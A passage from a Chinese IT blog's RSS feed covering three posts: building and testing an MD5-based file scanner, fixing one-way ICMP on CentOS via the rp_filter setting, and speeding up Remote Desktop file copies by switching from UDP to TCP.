print(&amp;#39;**&amp;nbsp;用&amp;nbsp;&amp;nbsp;时：&amp;#39;+str(m)+&amp;#39;分&amp;nbsp;&amp;#39;+str(s)+&amp;#39;秒&amp;#39;)
print(&amp;#39;*&amp;#39;*40)&lt;/pre&gt;&lt;div&gt;&lt;br/&gt;&lt;/div&gt;&lt;p&gt;五、生成exe文件&lt;/p&gt;&lt;p&gt;编写setup文件，这个文件的文件随意，我的为mysetup.py,其具体内容为：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;from&amp;nbsp;distutils.core&amp;nbsp;import&amp;nbsp;setup
import&amp;nbsp;py2exe
includes&amp;nbsp;=&amp;nbsp;[]
setup(console=[{&amp;quot;script&amp;quot;:&amp;quot;scanfiles.py&amp;quot;}],&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;options={&amp;quot;py2exe&amp;quot;:{&amp;quot;bundle_files&amp;quot;:&amp;nbsp;1,&amp;nbsp;&amp;quot;compressed&amp;quot;:True,&amp;nbsp;&amp;quot;includes&amp;quot;:&amp;nbsp;includes}},&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;zipfile&amp;nbsp;=&amp;nbsp;None)&lt;/pre&gt;&lt;p&gt;使用以下命令生成exe文件&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;python&amp;nbsp;mysetup.py&amp;nbsp;py2exe&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659780483200395.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;六、制作测试用的MD5值&lt;/p&gt;&lt;p&gt;使用Cygwin64 Terminal下的md5sum.exe工具生成文件的MD5值 ，把对应的文件拷贝到各系统某一目录下，进行工具测试，确认是否能够通过MD5值扫描到对应文件。&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #FF0000;&quot;&gt;注：需要将以下MD5值拷贝到md5v.ini配置文件中&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;$&amp;nbsp;md5sum.exe&amp;nbsp;&amp;#39;Wireshark&amp;nbsp;从入门到精通【学习网络必备】&amp;nbsp;(1).pdf&amp;#39;
82e9ac7a9d28a2f28b84953184c3ea8b&amp;nbsp;*Wireshark&amp;nbsp;从入门到精通【学习网络必备】&amp;nbsp;(1).pdf

Administrator@DESKTOP-MQD5HNE&amp;nbsp;/cygdrive/e/999-学习资料/007-wireshark
$&amp;nbsp;md5sum.exe&amp;nbsp;Wireshark_Display_Filters.pdf
5be0f7e39fb4a7f8ec90b34bfa08e1b2&amp;nbsp;*Wireshark_Display_Filters.pdf&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659779843151853.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659779987189510.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;1、在windows 10下测试&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659780655118633.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659780806691077.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;2、windows xp系统测试&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659781050457900.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;3、windows 7 64 测试&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659781252117932.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;4、windows 7 32位测试&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659783646211707.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;5、windows server 2012&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659781590161054.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;6、windows server 2008&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659782596510525.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;7、windows server 2003测试&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659783380198010.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果正确&lt;/p&gt;&lt;p&gt;2022-08-06 完善一下提示信息&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659787517153911.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;可以针对业务场景调整工具编写方法，以提高扫描速度。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208071659833210112590.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;div id=&quot;baidu_pastebin&quot; style=&quot;position: absolute; width: 1px; height: 1px; overflow: hidden; left: -1000px; white-space: nowrap; top: 215px;&quot;&gt;&lt;img class=&quot;loadingclass&quot; id=&quot;loading_l6hp1pq5&quot; src=&quot;http://www.itsec365.cn/zb_users/plugin/UEditor/themes/default/images/spacer.gif&quot;/&gt;&lt;/div&gt;</description><pubDate>Sat, 06 Aug 2022 17:17:09 +0800</pubDate></item><item><title>CentOS已收到icmp请求，但未答复的问题解决方法</title><link>http://www.itsec365.cn/?id=69</link><description>&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206251656139294108062.png&quot; title=&quot;001.png&quot; alt=&quot;001.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;有两台服务器，信息如下：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Ip: 10.6.214.15&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;路由信息如下：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Destination&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Gateway&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Genmask&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Flags Metric Ref&amp;nbsp;&amp;nbsp;&amp;nbsp; Use Iface&lt;/p&gt;&lt;p&gt;0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10.6.214.254&amp;nbsp; &amp;nbsp;&amp;nbsp;0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UG&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bond0&lt;/p&gt;&lt;p&gt;10.6.214.0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.255.0&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bond0&lt;/p&gt;&lt;p&gt;10.6.214.0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.255.0&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 wangqiao214&lt;/p&gt;&lt;p&gt;10.6.215.0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.255.0&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 wangqiao215&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;网卡信息&lt;/span&gt;&lt;/p&gt;&lt;p&gt;bond0: &amp;lt;BROADCAST,MULTICAST,MASTER,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; link/ether f8:f2:1e:af:40:d8 brd ff:ff:ff:ff:ff:ff&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet 10.6.214.15/24 brd 10.6.214.255 scope global bond0&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;valid_lft forever preferred_lft forever&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet6 fe80::faf2:1eff:feaf:40d8/64 scope link&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; valid_lft forever preferred_lft forever&lt;/p&gt;&lt;p&gt;wangqiao215: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; link/ether f8:f2:1e:af:40:d9 brd ff:ff:ff:ff:ff:ff&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet 10.6.215.5/24 brd 10.6.215.255 scope global wangqiao215&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; valid_lft forever preferred_lft forever&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet6 fe80::faf2:1eff:feaf:40d9/64 scope link&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; valid_lft forever preferred_lft forever&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;B&lt;/p&gt;&lt;p&gt;Ip:10.6.215.41&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;路由信息如下：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Destination&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Gateway&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Genmask&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Flags Metric Ref&amp;nbsp;&amp;nbsp;&amp;nbsp; Use Iface&lt;/p&gt;&lt;p&gt;10.6.215.0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.255.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bond0&lt;/p&gt;&lt;p&gt;10.10.10.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.255.0&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 em3&lt;/p&gt;&lt;p&gt;169.254.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 255.255.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 em3&lt;/p&gt;&lt;p&gt;0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10.6.215.254&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UG&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bond0&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;当服务器&lt;/span&gt;A ping&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;B&lt;span style=&quot;font-family:宋体&quot;&gt;的时候，能够&lt;/span&gt;ping&lt;span style=&quot;font-family:宋体&quot;&gt;通，但是反过来，服务器&lt;/span&gt;B ping&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;的时候&lt;/span&gt;ping&lt;span style=&quot;font-family:宋体&quot;&gt;不通，在服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;上抓包发现服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;是可以收到服务器&lt;/span&gt;B&lt;span style=&quot;font-family:宋体&quot;&gt;的&lt;/span&gt;icmp&lt;span style=&quot;font-family:宋体&quot;&gt;请求，但是不响应。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206251656139307692191.png&quot; title=&quot;002.png&quot; alt=&quot;002.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;对服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;的路由分析发现，数据包进来是通过&lt;/span&gt;bond0&lt;span style=&quot;font-family:宋体&quot;&gt;进来，而出去的时候是通过&lt;/span&gt;wangqiao215&lt;span style=&quot;font-family:宋体&quot;&gt;出去。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;经查&lt;/span&gt;linux&lt;span style=&quot;font-family:宋体&quot;&gt;有这样一个内核参数：&lt;/span&gt;rp_filter&lt;/p&gt;&lt;p&gt;rp_filter &lt;span style=&quot;font-family: 宋体&quot;&gt;（&lt;/span&gt;Reverse Path Filtering&lt;span style=&quot;font-family:宋体&quot;&gt;）参数定义了网卡对接收到的数据包进行反向路由验证的规则。他有三个值，&lt;/span&gt;0&lt;span style=&quot;font-family:宋体&quot;&gt;、&lt;/span&gt;1&lt;span style=&quot;font-family:宋体&quot;&gt;、&lt;/span&gt;2&lt;span style=&quot;font-family:宋体&quot;&gt;，具体含意如下：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;0&lt;span style=&quot;font-family:宋体&quot;&gt;：关闭反向路由校验&lt;/span&gt;&lt;/p&gt;&lt;p&gt;1&lt;span style=&quot;font-family:宋体&quot;&gt;：开启严格的反向路由校验。对每个进来的数据包，校验其反向路由是否是最佳路由。如果反向路由不是最佳路由，则直接丢弃该数据包。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;2&lt;span style=&quot;font-family:宋体&quot;&gt;：开启松散的反向路由校验。对每个进来的数据包，校验其源地址是否可达，即反向路由是否能通（通过任意网口），如果反向路径不通，则直接丢弃该数据包。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;什么是反向路由校验&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;所谓反向路由校验，就是在一个网卡收到数据包后，把源地址和目标地址对调后查找路由出口，从而得到反身后路由出口。然后根据反向路由出口进行过滤。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;当&lt;/span&gt;rp_filter&lt;span style=&quot;font-family:宋体&quot;&gt;的值为&lt;/span&gt;1&lt;span style=&quot;font-family:宋体&quot;&gt;时，要求反向路由的出口必须与数据包的入口网卡是同一块，否则就会丢弃数据包。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;当&lt;/span&gt;rp_filter&lt;span style=&quot;font-family:宋体&quot;&gt;的值为&lt;/span&gt;2&lt;span style=&quot;font-family:宋体&quot;&gt;时，要求反向路由必须是可达的，如果反路由不可达，则会丢弃数据包。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;问题解决&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;了解了&lt;/span&gt;rp_filter&lt;span style=&quot;font-family:宋体&quot;&gt;参数的作用，那我们就把这个参数修改一下吧。&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sysctl&amp;nbsp;net.ipv4.conf.all.rp_filter=2&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;或在&lt;/span&gt;/etc/sysctl.conf&lt;span style=&quot;font-family:宋体&quot;&gt;中添加&lt;/span&gt;net.ipv4.conf.all.rp_filter=2,&lt;span style=&quot;font-family:宋体&quot;&gt;然后运行命令：&lt;/span&gt;sysctl –p&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;B ping&lt;span style=&quot;font-family:宋体&quot;&gt;服务器&lt;/span&gt;A&lt;span style=&quot;font-family:宋体&quot;&gt;的时候就可以&lt;/span&gt;ping&lt;span style=&quot;font-family:宋体&quot;&gt;通了。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;参考资料：&lt;/p&gt;&lt;p&gt;https://www.jianshu.com/p/16d5c130670b&lt;/p&gt;</description><pubDate>Sat, 25 Jun 2022 14:39:15 +0800</pubDate></item><item><title>远程桌面拷贝文件慢的问题</title><link>http://www.itsec365.cn/?id=68</link><description>&lt;p&gt;最近在工作中遇到这样一个问题，新建的网络中分传统网络（暂且这样称呼，也可以说是普通网络）和SDN网络。其中传统网络中的一台服务器（定为客户端A）远程桌面登录到SDN网络中的服务器A，进行文件拷贝，发现传输速度特别慢，只有1-2M。实在不符合局域网的传输速度。有时还会发生0x800703E3错误。但是SDN网络内部的服务器，远程登录登录后拷贝文件就不存在这个问题，速度可达到60M以上，也不会出现以上错误。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206081654649066145136.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206081654651075808386.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;现在有两个问题，第一，为什么传统网与SDN网间的服务器拷贝文件是这么慢呢？第二、为什么会出现0x800703E3错误。&lt;/p&gt;&lt;p&gt;那先解决第一个问题，首先抓取数据包进行分析（注，要在两台电脑上同时抓包）：&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206081654649485385548.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;分析发现，远程桌面文件传输用的是UDPRDP协议（本协议详细内容可以参考微软文档：&lt;a href=&quot;https://docs.microsoft.com/zh-tw/openspecs/windows_protocols/ms-rdpeudp/aea14a52-baa1-4486-bcd8-f30505ec707d&quot; _src=&quot;https://docs.microsoft.com/zh-tw/openspecs/windows_protocols/ms-rdpeudp/aea14a52-baa1-4486-bcd8-f30505ec707d&quot;&gt;https://docs.microsoft.com/zh-tw/openspecs/windows_protocols/ms-rdpeudp/aea14a52-baa1-4486-bcd8-f30505ec707d&lt;/a&gt;）。我是第一次遇到这个协议，RDP不是在TCP协议之上的吗？怎么变成了UDP？再仔细分析所有数据包，全都正常。那就统计一下frame.time_delta,发现有好多大于0.1秒的帧，这就不太对了。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206081654649706571015.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;再分析哪些帧大于0.1秒的呢？经过分析发现，客户端在发送ACK之后，要等大约400毫秒左右再发送ACK+DATA，这时间也太长了。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/06/202206081654650372148366.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;我对这个UDPRDP协议不熟悉，只知道以前用的远程桌面走的是TCP协议，那把远程桌面改成TCP试试呢？&lt;/p&gt;&lt;p&gt;修改方法：&lt;/p&gt;&lt;p style=&quot;-en-clipboard:true;&quot;&gt;计算机配置-管理模板-Windows组件-远程桌面服务-远程桌面连接客户端-关闭客户端上的UDP 启用 ，客户端服务器两边都要设置，设置后重新远程桌面连接即可生效。&lt;/p&gt;&lt;p style=&quot;-en-clipboard:true;&quot;&gt;再次测试传输速度，发现已可达30M了。&lt;/p&gt;&lt;p style=&quot;-en-clipboard:true;&quot;&gt;至于0x800703E3错误，后来到网上查了一下，据说是远程桌面使用UDP导致的，换成了TCP协议以后，确实没出现过以上错误。&lt;/p&gt;&lt;p style=&quot;-en-clipboard:true;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;但为什么在SDN网络内的服务器之间远程桌面拷贝就没问题呢？哪位大牛可以给个答案？谢谢！&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 08 Jun 2022 08:29:07 +0800</pubDate></item></channel></rss>